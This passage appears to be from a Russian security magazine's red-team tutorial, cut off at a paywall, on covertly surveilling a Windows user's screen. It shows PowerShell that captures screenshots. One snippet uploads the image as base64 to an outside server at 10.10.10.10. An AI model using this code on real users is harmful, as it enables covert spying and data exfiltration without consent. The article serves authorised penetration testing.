При ред­тимин­ге иног­да при­ходит­ся изу­чать обста­нов­ку не толь­ко внут­ри сети, но и за ее пре­дела­ми. В час­тнос­ти, по ту сто­рону монито­ра. Работа­ет ли кто‑то за устрой­ством в текущий момент, какое окно откры­то, что говорят в мик­рофон. Давай пос­мотрим, как мож­но, исполь­зуя легитим­ные воз­можнос­ти сис­темы, сле­дить за ничего не подоз­рева­ющим поль­зовате­лем.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Боль­шая часть того, что мы реали­зуем в этой статье, есть толь­ко в Metasploit и в Cobalt Strike. Пер­вый написан на Ruby, а исходни­ки вто­рого зак­рыты. Дру­гих реали­заций я с ходу и не назову, а ведь хочет­ся иметь корот­кие и акку­рат­ные при­меры кода, которые мож­но без проб­лем добавить в собс­твен­ную прог­рамму.

Впро­чем, у меня получи­лось самос­тоятель­но все реали­зовать на C#, а некото­рые прог­раммы — на C++ и PowerShell.

 

Скриншот рабочего стола

Пер­вооче­ред­ная задача — скрин­шоты. Нуж­но уви­деть, что откры­то у текуще­го поль­зовате­ля, в каких прог­раммах он работа­ет и чем сей­час занима­ется.

Ка­залось бы, такая три­виаль­ная задача дает­ся в вось­мом клас­се в качес­тве лет­ней домаш­ки на пас­кале, но не тут‑то было. Авто­ры мно­жес­тва реали­заций забыва­ют об одной инте­рес­ной детали. Догадал­ся, о какой?

По­ка дума­ешь, покажу тебе при­мер кода на PowerShell. Даже с его помощью мож­но сде­лать скрин­шот текуще­го рабоче­го сто­ла.

# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов
[Windows.Forms.SendKeys]::SendWait("{PRTSC}")
# Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обмена
Start-Sleep -Milliseconds 250
# Получаем изображение из буфера обмена
$img = [Windows.Forms.Clipboard]::GetImage()
# Сохраняем изображение в файл
$filePath = "C:\1.png"
$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png)
# Выводим информацию о местоположении сохраненного файла
Write-Host "Скриншот сохранён в файле: $filePath"
Успешный снимок экрана
Ус­пешный сни­мок экра­на

Скрипт работа­ет пре­дель­но прос­то — ими­тиру­ет нажатие кноп­ки Print Screen.

В интерне­те мож­но даже встре­тить вари­ант с авто­мати­чес­кой отправ­кой кар­тинки на веб‑сер­вер.

[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
Start-Sleep -Milliseconds 250
$x = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png)
Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))
Отправка изображения на веб-сервер
От­прав­ка изоб­ражения на веб‑сер­вер

Ну как, догадал­ся, что не учел автор? У поль­зовате­ля может быть нес­коль­ко монито­ров! Нап­ример, как у меня.

Два монитора
Два монито­ра

Что, если хит­рый сисад­мин ута­щил к себе нес­коль­ко монито­ров и поль­зует­ся ими в свое удо­воль­ствие? Мы из‑за это­го рис­куем упус­тить важ­ную информа­цию из виду!

Кабинет профессионального администратора
Ка­бинет про­фес­сиональ­ного адми­нис­тра­тора

Это нак­ладыва­ет некото­рые огра­ниче­ния на выбор наших инс­тру­мен­тов. Если прос­то слать нажатие Print Screen через Windows.Forms, то получа­ем изоб­ражение с текуще­го монито­ра, что нас не устра­ивает.

По­лучить кар­тинку со всех экра­нов мож­но, если обра­тить­ся к свой­ству AllScreens. Оно лежит в System.Windows.Forms.Screen. На выходе я хочу получить один боль­шой скрин­шот, содер­жащий изоб­ражения со всех монито­ров, поэто­му не обой­тись без System.Drawing.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии